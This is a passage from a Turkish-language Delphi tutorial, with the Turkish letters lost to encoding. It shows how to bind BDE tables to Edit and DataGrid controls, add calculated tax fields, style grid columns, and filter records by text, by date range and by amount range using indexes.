//Kayt Deitir begin Table1.Edit; end; procedure TForm4.Button8Click(Sender: TObject); //Kaydet begin Table1.Post; end; procedure TForm4.Button9Click(Sender: TObject); //ptal Et begin Table1.Cancel; end; procedure TForm4.Button10Click(Sender: TObject); //Gncelle begin Table1.Refresh; end; Balant lemlerinin Kodla Yapmak: Bu blmde DBEdit kontrolleri yerine, Standart yapranda bulunan Edit kontrollerini kullanarak kodla veri Taban balant ilemlerini greceiz. Ardndan kayt ilemlerini Edit kontrollerini kullanarak nasl yapabileceinizi gstereceim. Bu tr balantlar size ok byk esneklik salayacaktr. nceki balant trnden ok daha etkili sonular alabilirsiniz (bazen bu ekilde balantya mecbur kalabilirsiniz). Aadaki admlar izleyerek gerekli olan tasarm oluturunuz. Birinci admda Formunuzun zerine Additional yapranda yer alan ScrollBox kontrolnden bir adet yerletirin. kinci admda yerletirdiiniz ScrollBox kontroln seerek Object Inspector penceresinden BorderStyle zelliini bsSingle yapn. nc admda yine ScrollBox kontroln seip Align zelliini alClient yapn (bu adm estetik grnm asndan gerekletirdik. Balant iin zorunlu deildir). Drdnc admda BDE Yapranda yer alan Table nesnesinden bir adet srkleyip formun zerine brakn. Table nesnesinin DataBase Name zelliine gazi, Table Name zelliine de SERVIS deerini aktarn. 622

Altnc admda formunuzun zerine DataAccess yapranda yer alan DataSource nesnesinden yerletirerek DataSet zelliine Table1 deerini aktarn. Yedinci admda Table1 kontroln seip mousun sa tuuna tklayn. Alan menden Fields Editr seeneine tklayarak aadaki pencerenin almasn salayn

Bu penceredeki beyaz alan zerinde mousun sa tuuna tklayarak, alan menden Add All Fields seeneini sein. Yukardaki gibi tm stun isimleri pencerede listelenecektir (Bu ilemi stun isimlerini kullanabilelim diye yaptk. Aktif kayttaki tm stun deerleri bu deikenlerde tutulur). Dokuzuncu admda formunuza be (5) adet Edit ve be (5) adet Label kontrol yerletirerek aadaki tasarm oluturunuz.

Yukardaki tasarm oluturduktan sonra, program altrld anda aktif kayttaki bilgilerin Edit kontrollerinde gzkebilmesi iin aadaki kod blounu projenize ekleyiniz. 623

procedure TForm5.FormCreate(Sender: TObject); //Satr Bilgilerini Kontrollere aktar begin Table1.Open;//Tabloyu a Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Program altrdktan sonraki ekran grnts aadaki gibi olacaktr. Edit kontrollerinin ieriklerinin dolu olduuna dikkat ediniz.

imdi formunuzun zerine bir adet Button kontrol yerletirip Caption zelliine lk Kayt yazn. Aada bu buttonun OnClick yordamna yazacanz kod verilmitir. procedure TForm5.Button1Click(Sender: TObject); //lk Kayt begin Table1.First;//ilk kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 624

imdide kinci bir Button kontrol yerletirip Caption zelliine nceki Kayt yazn. Bu buttonun OnClick yordamna yazacanz kod aada verilmitir. procedure TForm5.Button2Click(Sender: TObject); //nceki Kayt begin Table1.Prior;//nceki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi nc bir Button kontrol yerletirip Caption zelliine Sonraki Kayt deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button3Click(Sender: TObject); //Sonraki Kayt begin Table1.Next;//Sonraki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi drdnc bir Button kontrol yerletirip Caption zelliine SonKayt deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; //Son kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 625

imdi beinci bir Button kontrol yerletirip Caption zelliine Kayt Ekle deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button5Click(Sender: TObject); //Kayt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; imdi altnc bir Button kontrol yerletirip Caption zelliine Kaydet deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayt a Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; imdi yedinci bir Button kontrol yerletirip Caption zelliine Kayt Sil deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button7Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek stediinizden Eminmisiniz','Kayt Sil',MB_ICONSTOP+MB_YESNO); 626

if mesaj=mrYes Then begin Table1.Delete;//Kayd sil Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; ShowMessage('Kayt Silindi'); end else ShowMessage('Silme lemi ptal Edildi'); end; imdi sekizinci bir Button kontrol yerletirip Caption zelliine Kayt ptal deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button8Click(Sender: TObject); //Kayt ptal begin Table1.Cancel; //deiiklikleri iptal et Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi dokuzuncu bir Button kontrol yerletirip Caption zelliine Gncelle deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button9Click(Sender: TObject); //Gncelle begin Table1.Refresh;//Gncelle Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 627

Programn tasarmna ait son grnt aadaki gibi olacaktr.

Bu rnekte tablo stunlarndaki ierikleri kontrollere aktarma ilemini tek bir prosedde tanmlayp kullanrsanz sonu ok daha teknik olacaktr. Aada tm kod verilmitir. type TForm6 = class(TForm) private procedure doldur;//Burada tanmlamay Unutmaynz. { Private declarations } public { Public declarations } end; procedure TForm6.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu A doldur;//prosedr ilet end; procedure TForm6.Button1Click(Sender: TObject); //lk Kayt begin Table1.First;//ilk kayda git doldur; end; procedure TForm6.Button2Click(Sender: TObject); //nceki Kayt 628

begin Table1.Prior;//nceki kayda git doldur; end; procedure TForm6.Button3Click(Sender: TObject); //Sonraki Kayt begin Table1.Next;//Sonraki kayda git doldur; end; procedure TForm6.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; //Son kayda git doldur; end; procedure TForm6.Button5Click(Sender: TObject); //Kayt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; procedure TForm6.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayt a Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; procedure TForm6.Button7Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin

629

mesaj:=Application.MessageBox('Silmek stediinizden Eminmisiniz','Kayt Sil',MB_ICONSTOP+MB_YESNO); if mesaj=mrYes Then begin Table1.Delete;//Aktif kayd sil doldur;//prosedr ilet ShowMessage('Kayt Silindi'); end else ShowMessage('Silme lemi ptal Edildi'); end; procedure TForm6.Button8Click(Sender: TObject); //Kayt ptal begin Table1.Cancel; //deiiklikleri iptal et Doldur;//prosedr ilet end; procedure TForm6.Button9Click(Sender: TObject); //Gncelle begin Table1.Refresh;//Gncelle doldur;//prosedr ilet end; procedure TForm6.doldur; //Stun ieriklerini Edit kontrollerine aktaran prosedr begin Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Bu rnekte doldur isimli prosedr Private veya Public ksmnda tanmlayn. Basit bir prosedr gibi tanmlarsanz Edit kontrol iin, Form1.Edit1.Text eklinde kullanlmas gerekir.

630

Veri Tabannda Olmayan Stunlar Yaratmak: Dier stunlardan yola karak hesaplanabilen stunlar Veri Tabanna koymamak dosyanzn daha az yer tutmasn salayacaktr. ayet mecbur kalmazsanz (mecbur kalabileceiniz bir durum bilmiyorum) bu tr stunlar aada gstereceim ekilde oluturunuz. Daha nce oluturduumuz tabloda TUTAR stununu kullanarak tabloda mevcut olmayan KDV ve TOPLAMFIYAT stunlarn oluturacaz. Aadaki admlar dikkatlice takip ediniz. Formunuzun zerine bir adet Table nesnesi yerletirerek DatabaseName zelliine tanmlam olduunuz Alias nzn ismini girin (bizim rneimizde gazi). kinci admda Table kontrolnn TableName zelliine SERVIS tablonuzun ismini aktarn. DataAccess yapranda yer alan DataSource kontrolnden bir adet formunuza srkleyin. DataSet zelliine Table1 kontroln aktarn. Drdnc admda formunuza bir adet Additional yapranda yer alan ScrollBox kontrol ekleyerek, Align zelliine alClient, BorderStyle zelliine de bsSingle deerlerini aktarn (estetik grnm iin). Beinci admda formunuza DataControls yapranda yer alan DataGrid kontrol ekleyerek DataSource zelliine DataSource1 nesnesini aktarnz. Altnc admda Table kontrolnzn Object Inspector penceresinden Active zelliini true yapn.

u aamada programnz altrrsanz yukardaki ekilde tablonuzda yer alan tm stunlar DataGrid nesnesinde listeletmi olacaksnz. Bu

631

admdan sonra tablonuzda yer almayan KDV ile TOPLAM TUTAR stunlarn oluturmay gztereceim. Yedinci admda Table nesnesi zerine mousun sa tuuyla tklayn. Alan menden Fields Editr seeneini seiniz. Alan beyaz pencerede mousun sa tuuna tklayarak alan menden Add All Fields seeneini tklaynz.

Tm stunlar ekledikten sonra tekrar mousun sa tuuna tklayn. Alan menden New Fields seeneini sein Aadaki pencere alacaktr.

Name ksmna stun balnz (KDV), Type ksmna stunun ierecei verinin tipini (Currency), Field Type ksmndan nasl bir veri olacan (dier stun kullanlarak hesaplanaca iin Calculated) Component ksmn ise kendisi otomatik olarak dolduracaktr. Bu ksm deitirmenize gerek yoktur. OK Buttonuna tklayarak stunun tabloya eklenmesini salayn.

632

Beyaz ekranda tekrar mousun sa tuuna tklayarak alan mendenNew Fields seeneini seiniz. Aadaki pencere alacaktr. Girilen deerleri aynen sizde oluturunuz.

Gerekli deerleri girdikten sonra OK Buttonuna tklayarak pencereyi kapatnz. Yaratlan Stun Deerlerini Tablonuzda Hesaplatmak: Eklemi olduunuz iki yeni stunun Object Inspector penceresinde bulunan FieldKind zelliklerinin fkCalculated olduunu tekrar kontrol ediniz. Aksi takdirde hesaplatma ileminiz baarszlkla sonulanacaktr. Son adm olarak aadaki kodu Table kontrolnzn OnCalcFields yordamna yazmanz gerekecektir. procedure TForm7.Table1CalcFields(DataSet: TDataSet); begin
Table1KDV.AsCurrency:=Table1FATURATUTARI.AsCurrency*0.15; Table1TOPLAMTUTAR.AsCurrency:=Table1FATURATUTARI.AsCurrency*1.15;

end; Bu aamadan sonra uygulamanz altrrsanz DataGrid nesnenizde iki adet yeni stunun olutuunu, bu stunlarn ieriklerini tablonuzda yer alan FATURATUTARI stununa gre hesapladklarn greceksiniz. Yeni kayt eklemeniz bu sutnlarn hesaplanmasn engellemez. Ekleyeceiniz her yeni kayt iin sonu yine otomatik olarak hesaplanacaktr. Ayn ekilde var olan bir kayt zerinde deiiklik yaparsanz sonu bu yeni stunlara da annda

633

yansyacaktr. Programnzn en son grnts aada verilmitir. KDV ile TOPLAMTUTAR stunlarnn Veri Tabannzda var olmadna dikkatinizi ekelim.

DataGrid Kontrolne Ait zellikler: Kaynanzdaki kaytlar topluca kullancya gstermek iin kullanlan en popler kontrol sanyorum DataGrid nesnesidir. Bu yzden kaytlarn daha estetik ve gzel grnmesi iin yapmanz gereken bir takm ayarlar bulunmaktadr. imdi sizlere bu ayarlardan bahsetmek istiyorum. ncelikle daha nceden oluturmu olduumuz SERVIS tablosuna gerekli balantlar yapp tm kaytlarn aadaki pencerede olduu gibi DataGrid nesnesinde gsterilmesini salayn (Balant ilemleri her defasnda artk anlatlmayacaktr).

u anda DataGrid kontrol tablo ierisindeki tm kaytlar gstermektedir. 634

DataGrid Kontrolne Ait Stun Balklarn Belirlemek: Yukardaki pencereye dikkat edecek olursanz, stun balklarnz Veri Tabann da nasl belirlendiyse o ekilde gzkmektedir. Fakat bir ok durumda buradaki stun balklarnn daha deiik metinle (ksaltma yapm olabilirsiniz vs) gsterilmesi istenir. Bizde imdi yapacamz deiiklikle yeni stun balklar belirleyelim (stun balklarn DataGrid nesnesinden deitirmek veri tabannza yansmaz). DataGrid kontroln seip mousun sa tuuna tklayn. Alan menden Columns Editr seeneine tklayn Karnza aadaki pencere alacaktr.

Alan bu pencerede ilk etapta hi bir stun gzkmeyecektir. Beyaz alanda mousun sa tuuna tklayn, alan menden Add All Fields seeneini sein. Btn stunlar yukardaki pencerede olduu gibi ekrannza eklenecektir.

Bu admda sol taraftaki pencereden stunu seip Object Inspector penceresindeki Title zelliinin solundaki + iaretine tklayn. 635

Alt satrlar alan Title seeneinden Caption deerlerini tm stun balklar iin ayr ayr belirleyin. Aadaki ekran grnts stun balklarnn deitirilmi halini gstermektedir.

DataGrid Stun Balklarnn Ortalanmas: Yukardaki admlar aynen izleyerek Columns Editor penceresinin almasn salayn. Bu pencerede ortalatacanz stunu seip Object Inspector penceresinde Title zelliinin altnda yer alan (dier Alignment deil)Alignment zelliini taCenter olarak deitirin. Stun balklarnz artk ortalanm ekilde gzkecektir. Alabilecei dier seenekler aada verilmitir.
Alignment taCenter taLeftJustify taRightJustify Sonu Stun erisinde Ortalanm Stun erisinde Sola Dayal Stun erisinde Saa Dayal

636

DataGrid Stun Geniliklerini Ayarlamak: Dzgn bir grnt iin DataGrid nesnenizin stun geniliklerini en uygun boyuta getirmelisiniz. Aksi takdirde irkin bir grnm olacaktr. DataGrid nesneniz iin stun geniliklerini aadaki ekilde ayarlayabilirsiniz. Daha nceki rnekte yer alan admlar aynen izleyip Columns Editor penceresini an. Bu pencerede geniliini deitireceiniz stunu seip Object Inspector penceresinden Width zelliine uygun olan genilik miktarn girerek stun geniliklerini ayarlayabilirsiniz. DataGrid Stunlarn ReadOnly Yapmak: Bilhassa kayt ekleme veya kayt deiikliklerinin DataGrid kontrolnden yaplmasna izin verdiiniz durumlarda, kullancnn baz stun deerlerini deitirebilmesini istemeyebilirsiniz. Bu tip durumlarda o stuna salt okunur zellii vermelisiniz. Aada bu ilemi nasl yapabileceiniz aklanmaktadr. nceki uygulamada izlediiniz admlar aynen izleyerek Columns Editor penceresinin almasn salaynz. Salt okunur zellii vereceiniz stunu seip Object Inspector penceresinden ReadOnly zelliini true yapn. imdi programnz altrrsanz, dier stunlarda kolayca deiiklik yapabilmenize ramen ReadOnly zelliini true yaptnz stunda deiiklik yapamayacaksnz. DataGrid Sutununu ComboBox eklinde Kullanmak: DataGrid kontrol ierisinde kayt deiiklii veya kayt ekleme ilemi srasnda ieriin, alan bir ComboBox kontrolnden seilebilmesini salayabilirsiniz. Aada bu ilemi nasl yapabileceiniz aklanmaktadr. Yukardaki admlar izleyerek Columns Editor penceresinin almasn salaynz. Stunlarda ComboBox gibi davranmasn istediinizi seip Object Inspector penceresinden PickList zelliine tklayn. Pencere alacaktr. Burada kayt deiiklii (veya kayt ekleme) annda kullancnn seebilecei seenekleri teker teker girin. Biz rneimiz iin MAGAZAADI stununa MIGROS-DIA-GIMA-BIM-OK deerlerini girdik. Program altrdktan sonra aadaki gibi DataGrid kontrolnde yer alan MAGAZAADI stununa mous ile ift tklayn. Girmi olduunuz maazalarn isimlerinin yer ald seenekler ComboBox kontrolnde olduu gibi alan bir liste halinde karnza gelecektir. Buradan maazanz seip deiiklii gerekletirebilirsiniz. 637

Aadaki pencere PickList deerlerine maaza adlar girildikten sonra uygulamann altrlmasndan elde edilmitir.

DataGrid Kontrolne Ait Stun Balklarn Renklendirmek: DataGrid kontrolnze ait stun balklarn istediiniz ekilde renklendirebilirsiniz. Aada bu ilemi nasl yapabileceiniz aklanmtr. Yukardaki admlar izleyerek Columns Editor penceresinin almasn salayn. Bu pencerede renklendireceiniz stunu seip Title zelliinin solundaki + iaretine tklayn. Alan alt seeneklerde yer alan Color zelliinden dilediiniz rengi seebilirsiniz. DataGrid Stunlarn Renklendirmek: Kontrolde gsterilen tm stunlar farkl renklerde gsterebilirsiniz. Aada belirtilen admlar izleyin. Daha nce gsterilen ekilde Columns Editor penceresini an. Bu pencerede renklendireceiniz stunu seip Object Inspector penceresinden Color (Title yok artk) zelliine istediiniz rengi atayabilirsiniz. DataGrid Font Ayarlar: Columns Editor penceresini atktan sonra font ayarlarn deitireceiniz stunu seip Object Inspector penceresinden Font zelliinin solunda yer alan + iaretine tklayn. Alan alt seeneklerden tm font ayarlarn yapabilirsiniz.

638

DataGrid Kontrolnde e Yaramayan Stunlar Gizlemek: Baz durumlarda tablonuzda yer alan tm stunlar DataGrid nesnenizde gstermek istemeyebilirsiniz. Byle durumlarda aadaki admlar izlemelisiniz. nceki uygulamalarda gsterildii gibi Columns Editor penceresini an. Mousun sa tuuna tklayarak aacanz menden Add All Fields seeneini sein.

Sol taraftaki pencerede tm stunlar gsterimde olup. Sa taraftakinde ise ARIZASEBEBI ile SIRANO stunlar Delete tuuna baslarak silinmitir. Uygulamanz altrrsanz DataGrid kontrolnz aadaki ekilde gzkecektir.

Pencereye dikkatli baktnz zaman ARIZASEBEBI ile SIRANO stunlarnn gzkmediini greceksiniz. DataGrid kontrolnde stunlarn silinmesi tablonuzda hibir deiiklik yapmayacaktr. 639

DataGrid Kontrolnde Stun Balklarn Gizlemek: ayet stun balklarnn gsterilmesini istemiyorsanz. DataGrid kontroln seip Object Inspector penceresinde yer alan Options zelliinin solundaki + iaretine tklayn. Alan seeneklerden dgTitles zelliini false yaparsanz stun balklarnz gzkmeyecektir.

Buradaki Options zelliinden dier bir ok ayar yapabilirsiniz. Mesela dgEditing zelliini false yaparsanz, kullanc stunlardaki hi bir kayt bilgisini deitiremez. dgColLines zelliini false yaparsanz dey izgiler gzkmez. dgRowLines zelliini false yaparsanz yatay izgiler gzkmez. dgRowSelect zelliini true yaparsanz tm kayd aadaki ekilde seebilirsiniz.

Options ta yer alan tm zellikleri deneyin olduka kullanl ve sevimli zellikler olduklarn greceksiniz.

640

Kayt Filtreleme lemleri: Tablonuzda bulunan tm kaytlarla deilde, iilerinde belirli zellii olan kaytlarla ilgileniyorsanz kullanacanz ilem kaytlar filtrelemek olacaktr. Query kontrol kullanarak daha gelimi tablo sorgular oluturabilirsiniz. Fakat bilhassa server-client uygulamalarnda serverin devaml sorguyla zorlanmas performansnz etkileyecektir. Onun yerine (her zaman deil) kendi lokal makinenize aldnz table nesnesini kullanarak kaytlarnz istediiniz ekilde kolayca filtreleyebilirsiniz. Bu size daha performansl bir alma ortam yaratabilir. Aada, Tablo kontrolnde yer alan kaytlar nasl filtreleyebileceiniz konusu ilenmektedir. Table1.FilterOptions Filtreleme ileminde, kk byk harf duyarllnn olup olmayacan ve alan parasna gre filtreleme yaplp yaplamayacan belirleyen zelliidir. Alabilecei deerler aada verilmitir.
FilterOptions foCaseInsensitive foNoPartialCompare Sonu Kk-Byk Harf Duyarll Yok Alan Parasna Gre Filtreleme Yaplabilir.

procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarll yok end; Table1.Filtered Belirlenen kriterin tabloya uygulanp uygulanmayacan belirleyen zelliidir. True deerinin aktarlmas filtre kriterinin tabloya uygulanmas anlamn tamaktadr. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table1.Filtered:=true;//kriteri uygula end; Bu zellie false deerinin aktarlmas tablodaki tm kaytlarn tekrar listelenmesi anlamn tamaktadr (Filtre iptal).

641

Table1.Filter Tabloya uygulanacak olan filtre kriteri bu zellikle belirlenir. Kodlamada aadaki ekilde bir blok kullanmalsnz. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter end; Kriteri belirlemeniz tablonuzun filtrelenecei anlamn tamaz. Muhakkak ardndan Filtred zelliine true deerini aktarmalsnz. Yukarda anlattmz zelliklerin daha iyi bir ekilde anlalabilmesi iin olay bir rnekle pekitirelim.lk olarak formunuza bir adet Table, bir adet DataSource,bir adet DataGrid, bir adet GroupBox,bir adet Label ve bir adet Edit kontrol yerletirerek tm kaytlarn DataGrid nesnesinde gsterilmesini salayn. Amacmz sadece Edit kutusuna girdiimiz maaza ismini listelemek olacaktr.

lemin uygulan maaza adnn Edit kontrolne girildikten sonra Enter tuuna baslmasyla gerekleecektir. Aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then //Enter tuu tklanrsa begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok 642

Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; end;

Program altrp MAGAZA ADI n Edit kontrolne girip Enter tuuna basnz. DataGrid kontrolnzde sadece MIGROS maazalarna yaplm olan servisler listelenecektir. Aadaki kodlamada Enter tuuna basmanza gerek yoktur. Her karaktere bastnz zaman kriter yeniden denenecektir. procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; Projeyi altrdnz zaman maaza ismini Edit kontrolnn ierisine tamamen yazana kadar hi bir kayit DataGrid nesnesi ierisinde listelenmeyecektir. Maaza ad tamamen yazldktan sonra, o maazaya ait tm servisler DataGrid nesnesi ierisinde listelenmi olacaktr. Kodu aadaki ekilde deiirseniz gireceiniz ilk karakterlere gre filtreleme yapabilirsiniz. Burada kodu yine OnChange yordamna yazmanz gerektiini hatrlatp, kod satrlarn verelim.

643

procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text+'*');//kriter Table2.Filtered:=true; end;

Prgram altrp kriter ksmnda G Harfine basarsanz G ile balayan tm Maaza servislerini listeleyebilirsiniz. kinci karakter olarak U ya basarsanz GIMA maazasda kaytlar arasnda listelenmeyecektir. Filtrelenmi Kaytlar Arasnda Gezinmek: Filtrelemi olduunuz kaytlar arasnda kolaylkla dolaabilirsiniz. Yapmanz gereken tek ey tablo nun filtreli olup olmadn kontrol etmekten ibaret olacaktr. Filtreli Kaytlarda Bir Sonrakini Git: Aadaki kodlamayla filtreli kaytlar ierisinde sonraki kayda ulaabilirsiniz. procedure TForm7.Button3Click(Sender: TObject); begin if Table2.Filtered=true Then//filtre uygulanmsa table2.FindNext;//sonraki kayda git end;

644

Filtreli Kaytlarda Bir ncekine Git: procedure TForm7.Button4Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindPrior;//bir nceki kayda git end; Filtreli Kaytlarda lk Kayda Git: procedure TForm7.Button5Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindFirst;//ilk kayda git end; Filtreli Kaytlarda Son Kayda Git: procedure TForm7.Button6Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindLast;//son kayda git end; Tarih Aralna Gre Filtre Uygulamak: Yukardaki rnekte gireceiniz iki tarih arasn da filtreleyebilirsiniz. Yanlz bu ilemi gerekletirebilmeniz iin bu stunun muhakkak Primary veya Secondary index olarak tantlm ve indexin aktifletirilmi olmas gerekmektedir. imdi sizlere Tablonuzda (SERVIS) nasl secondary index tanmlayabileceinizi gstereceim. Secondary Index Tanmlamak: Start->Programs->Borland Delphi->Database Desktop admlarn izleyin. Ardndan alan pencereden File->Open->Table diyerek daha nce kaydetmi olduunuz SERVIS tablosunu an. Yine Table->Restructure seeneklerini izleyerek tablonuzun tasarm anna ulan. imdi bu pencereyi kullanarak hem SERVISTARIHI stununu hemde FATURATUTARI stununu secondary index olarak tanmlayacaz.

645

Hatrlatalm Seconder index tanmlayabilmeniz iin Paradox ta muhakkak primary index tanmlamas yapm olmanz gerekmektedir.

Restructure Paradox penceresinde yer alan Table Properties ksmndan Secondary Indexes seeneini sein ve Define dmesine tklayn. Aadaki pencere alacaktr.

Bu pencerede SERVISTARIHI stununu seip Indexed fields listesine aktarn. Ardndan OK buttonuna tklayn. 646

Karnza aadaki pencere alacak ve sizden indexinizin ismini girmenizi isteyecektir. ndex isimlerinizi rasgele vermeyin. Daha sonra projeyi incelerken o indexin hangi stuna ait olduunu hatrlayabilesiniz.

Tekrar Define buttonuna tklayarak ayn FATURATUTARI stunu iin gerekletirin. TUTARINDEX deyin.

ilemleri bu sefer Index in isminede

Bu ekilde SERVIS tablosu iin iki adet secondary index tanmlam olduk. Bu aamadan sonra kolayca aralk filtrelemesi yapabilirsiniz. Table2.SetRange Aralk filtrelemek iin kriterlerinizi belirleyen zelliidir. Bu komutu kullanabilmeniz iin, aralk filtrelemesi yapacanz stunun muhakkak index olarak tanmlanm olmas gerekmektedir. procedure TForm7.Button1Click(Sender: TObject); begin Table2.SetRange([Edit2.Text],[Edit3.Text]); end; Yukardaki kod satrnda Edit1 ve Edit2 kontrollerine girilen tarih ieriklerinin arasnda kalan kaytlar listelemesi sylenmektedir. Table2.ApplyRange SetRange komutu girilen kriterlere gre tablonun filtrelenmesini salayan komuttur. SetRange komutu sadece filtreleme kriterlerini belirler. Filtre ilemini tabloya uygulamaz. Filtreleme ilemini tabloya uygulamanz iin kesinlikle gerekli olan komut ApplyRange dir. imdi aadaki tasarm oluturup aralk filtreleme ilemini rnek zerinde grelim. Daha nce anlatlan yntemlerle gerekli tablolara balanp, kaytlarn DataGrid nesnesi ierisinde gsterilmesini salayn.

647

procedure TForm7.Button1Click(Sender: TObject); begin Table2.IndexName:='TARIHINDEX';//indexi aktifletir Table2.SetRange([Edit2.Text],[Edit3.Text]);//kriterler Table2.ApplyRange;//uygula end;

Program altrn. Edit1 ve Edit2 kontrolne tarihlerinizi girip Button kontrolne tklayn. Belirttiiniz aralktaki kaytlarn listelendiini greceksiniz. Uyguladnz filtreyi iptal etmek iin aadaki ekilde bir kod blou kullanabilirsiniz. procedure TForm7.Button2Click(Sender: TObject); //Tmn Gster begin Table2.Close; Table2.Open; end; Parasal Arala Gre Filtre Uygulamak: Tablonuzdaki parasal sutunlar iin de kolayca filtre uygulayabilirsiniz. Filtre kriterini koyacanz stunun indexli ve indexinin de aktif olmasna dikkat etmelisiniz.

648

Aada izlemeniz gereken admlar ve zellikler incelenmektedir. Table2.SetRangeStart Alt snra ait filtreyi belirlemek iin kulanlan bir zelliktir. Bu satrdan sonra belirteceiniz kriteri araln alt snr olarak kabul edecektir. Table2.SetRangeStart; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text) Table2.SetRangeEnd; st snra ait filtreyi belirlemek iin kulanlan bir zelliktir. Bu satrdan sonra belirteceiniz kriteri araln st snr olarak kabul edecektir. Table2.SetRangeEnd; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text) Table2.ApplyRange

Belirtilen aral tabloya filtre olarak uygulamay salayan zelliidir. Bu satr olmadan kriterleri belirleseniz bile DataGrid kontrolnz filtreli kaytlar gstermeyecektir. imdi aadaki ekilde bir tasarm oluturup gerekli balantlar daha nce anlatld ekilde yapn.

649

procedure TForm7.Button7Click(Sender: TObject); begin


Table2.IndexName:='TUTARINDEX';//imdexi aktif yap Table2.SetRangeStart;//alt snr Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text); Table2.SetRangeEnd;//st snr Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text); Table2.ApplyRange;

